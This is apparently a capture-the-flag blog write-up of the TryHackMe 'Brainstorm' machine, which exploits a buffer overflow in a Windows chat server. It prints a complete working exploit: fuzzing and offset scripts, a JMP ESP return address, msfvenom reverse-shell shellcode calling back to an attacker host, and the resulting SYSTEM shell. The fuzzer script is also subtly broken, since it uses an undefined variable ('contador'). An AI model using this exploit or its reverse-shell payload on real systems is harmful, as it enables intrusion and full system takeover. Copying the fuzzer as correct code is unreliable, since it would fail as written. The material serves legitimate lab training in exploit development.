Posts Brainstorm Writeup [THM]
Post
Cancel

Brainstorm Writeup [THM]

Brainstorm is a Windows machine from tryhackme , it hosts a chat server which is vulnerable to buffer overflow

Enumeration

Running nmap :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  nmap -sC -sV -o nmap.txt -Pn 10.10.210.60
  PORT     STATE SERVICE    VERSION
  21/tcp   open  ftp        Microsoft ftpd
  | ftp-anon: Anonymous FTP login allowed (FTP code 230)                                                                     
  | ftp-syst:
  |_  SYST: Windows_NT
  3389/tcp open  tcpwrapped
  |_ssl-date: 2020-08-06T19:05:33+00:00; -3s from scanner time.
  9999/tcp open  abyss?
  | fingerprint-strings:
  |   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
  |     Welcome to Brainstorm chat (beta)
  |     Please enter your username (max 20 characters): Write a message:
  |   NULL:
  |     Welcome to Brainstorm chat (beta)
  |_    Please enter your username (max 20 characters):

Ftp has anonymous login enabled, login in we find the binary chatserver.exe and its .dll, we activate binary mode in order to obtain both files

1
2
3
4
5
6
7
8
9
10
11
12
ftp 10.10.249.254
Connected to 10.10.249.254.
220 Microsoft FTP Service
Name (10.10.249.254:noxious): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> binary
200 Type set to I
ftp> mget chatserver.exe
ftp> mget essfunc.dll

Through nmap we saw that this service is running on port 9999, connecting through nc :

1
2
3
4
nc -nv 10.10.249.254 9999
Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters): Noxious
Write a message: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

There we see that Write a message has not limited input therefore it is vulnerable to buffer overflow

In order to exploit this binary, we are going to switch to a windows machine and use Inmunity Debugger with mona plugin.

Inmunity Debugger: https://www.immunityinc.com/products/debugger/

Mona Plugin : https://github.com/corelan/mona

The following fuzzer script in python will be used to test the program :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python
import sys, socket

ip = '127.0.0.1'
port = 9999
buffer = ['A']
counter = 100

while len(buffer) <= 10:
    buffer.append('A'*counter)
    contador = contador + 100
try:
    for string in buffer:
        print '[+] Sending %s bytes...' % len(string)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))
        s.recv(1024)
        s.recv(1024)
        s.send("User" '\r\n')
        s.recv(1024)
        s.send(string + '\r\n')
        print '[+] Done'
except:
    print '[!] A connection can't be stablished to the program. It may have crashed.'
    sys.exit(0)
finally:
    s.close()

Exploitation

First

By sending the fuzzer for the first time the program crashes when it receives around 2200 bytes Now we will use another script to try to find the exact number of bytes required to overwrite the EIP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python
import sys, socket

ip = '127.0.0.1'
port = 9999
buffer = #Define Buffer

try:
    print '[+] Sending buffer'
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.recv(1024)
    s.recv(1024)
    s.send("User" '\r\n')
    s.recv(1024)
    s.send(buffer + '\r\n')

except:
    print '[!] The program can't be reached'
    sys.exit(0)
finally:
    s.close()

With the help of mona , we are going to obtain a pattern to send for finding the exact offset

1
!mona pattern_create 2200

Pattern

The obtained pattern.txt will be copied and sent as Buffer

We run again the script and we copy the value obtained from the EIP which is 31704330

Now running !mona_pattern offset 31704330 we obtain the exact offset at 2012 bytes

First

As we know the exact offset, we are going to check that we control the EIP sending the following buffer

1
buffer = "A"*2012+"B"*4+"C"*100

Pattern

The EIP now has a value of 42424242, each 42 corresponding to the ascii representation of letter B

With help of mona we generate an array of badchars using !mona byte_array, this array of badchars will be added to the buffer and sent to the program. By default we remove \x00 as it usually is a badchar

First

As there are not any outliers breaking that byte-sequence we conclude that the only badchar was \x00

Then , we need to find the address of the operation jmp esp

1
!mona jmp -r esp

First

This address is stored in big endian format but we need to add it to our buffer in little endian format

1
buffer = "A"*2012+"\xdf\x14\x50\x62"

Finally we only need to generate our shellcode to access the machine

1
#msfvenom -p windows/shell_reverse_tcp LHOST=10.11.14.106 LPORT=443 -b "\x00" -f python EXITFUNC=thread

The final script is the following

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python
import sys, socket

ip = '10.10.210.60'
port = 9999
#msfvenom -p windows/shell_reverse_tcp LHOST=10.11.14.106 LPORT=443 -b "\x00" -f python EXITFUNC=thread
buf =  b""
buf += b"\xba\xa5\x7f\x2c\xae\xda\xd4\xd9\x74\x24\xf4\x5d\x2b"
buf += b"\xc9\xb1\x52\x83\xed\xfc\x31\x55\x0e\x03\xf0\x71\xce"
buf += b"\x5b\x06\x65\x8c\xa4\xf6\x76\xf1\x2d\x13\x47\x31\x49"
buf += b"\x50\xf8\x81\x19\x34\xf5\x6a\x4f\xac\x8e\x1f\x58\xc3"
buf += b"\x27\x95\xbe\xea\xb8\x86\x83\x6d\x3b\xd5\xd7\x4d\x02"
buf += b"\x16\x2a\x8c\x43\x4b\xc7\xdc\x1c\x07\x7a\xf0\x29\x5d"
buf += b"\x47\x7b\x61\x73\xcf\x98\x32\x72\xfe\x0f\x48\x2d\x20"
buf += b"\xae\x9d\x45\x69\xa8\xc2\x60\x23\x43\x30\x1e\xb2\x85"
buf += b"\x08\xdf\x19\xe8\xa4\x12\x63\x2d\x02\xcd\x16\x47\x70"
buf += b"\x70\x21\x9c\x0a\xae\xa4\x06\xac\x25\x1e\xe2\x4c\xe9"
buf += b"\xf9\x61\x42\x46\x8d\x2d\x47\x59\x42\x46\x73\xd2\x65"
buf += b"\x88\xf5\xa0\x41\x0c\x5d\x72\xeb\x15\x3b\xd5\x14\x45"
buf += b"\xe4\x8a\xb0\x0e\x09\xde\xc8\x4d\x46\x13\xe1\x6d\x96"
buf += b"\x3b\x72\x1e\xa4\xe4\x28\x88\x84\x6d\xf7\x4f\xea\x47"
buf += b"\x4f\xdf\x15\x68\xb0\xf6\xd1\x3c\xe0\x60\xf3\x3c\x6b"
buf += b"\x70\xfc\xe8\x3c\x20\x52\x43\xfd\x90\x12\x33\x95\xfa"
buf += b"\x9c\x6c\x85\x05\x77\x05\x2c\xfc\x10\x20\xba\xf0\x8a"
buf += b"\x5c\xbe\x0c\x4a\x26\x37\xea\x26\x48\x1e\xa5\xde\xf1"
buf += b"\x3b\x3d\x7e\xfd\x91\x38\x40\x75\x16\xbd\x0f\x7e\x53"
buf += b"\xad\xf8\x8e\x2e\x8f\xaf\x91\x84\xa7\x2c\x03\x43\x37"
buf += b"\x3a\x38\xdc\x60\x6b\x8e\x15\xe4\x81\xa9\x8f\x1a\x58"
buf += b"\x2f\xf7\x9e\x87\x8c\xf6\x1f\x45\xa8\xdc\x0f\x93\x31"
buf += b"\x59\x7b\x4b\x64\x37\xd5\x2d\xde\xf9\x8f\xe7\x8d\x53"
buf += b"\x47\x71\xfe\x63\x11\x7e\x2b\x12\xfd\xcf\x82\x63\x02"
buf += b"\xff\x42\x64\x7b\x1d\xf3\x8b\x56\xa5\x13\x6e\x72\xd0"
buf += b"\xbb\x37\x17\x59\xa6\xc7\xc2\x9e\xdf\x4b\xe6\x5e\x24"
buf += b"\x53\x83\x5b\x60\xd3\x78\x16\xf9\xb6\x7e\x85\xfa\x92"
buffer = "A"*2012+"\xdf\x14\x50\x62"+"\x90"*20+buf

try:
    print '[+] Sending buffer'
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.recv(1024)
    s.recv(1024)
    s.send("User" + '\r\n')
    s.recv(1024)
    s.send(buffer + '\r\n')           
except:
    print '[!] The program can't be reached.'
    sys.exit(0)
finally:
    s.close()

Notice that we have added 20 Nops before the shellcode to avoid problems, as they allow the execution to continue until the shellcode is found

Running our exploit grants a shell a nt authority/system

1
2
3
4
5
6
7
nc -lvnp 443
listening on [any] 443 ...
connect to [10.11.14.106] from (UNKNOWN) [10.10.249.254] 49358
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Windows\system32>whoami
nt authority\system
This post is licensed under CC BY 4.0 by the author.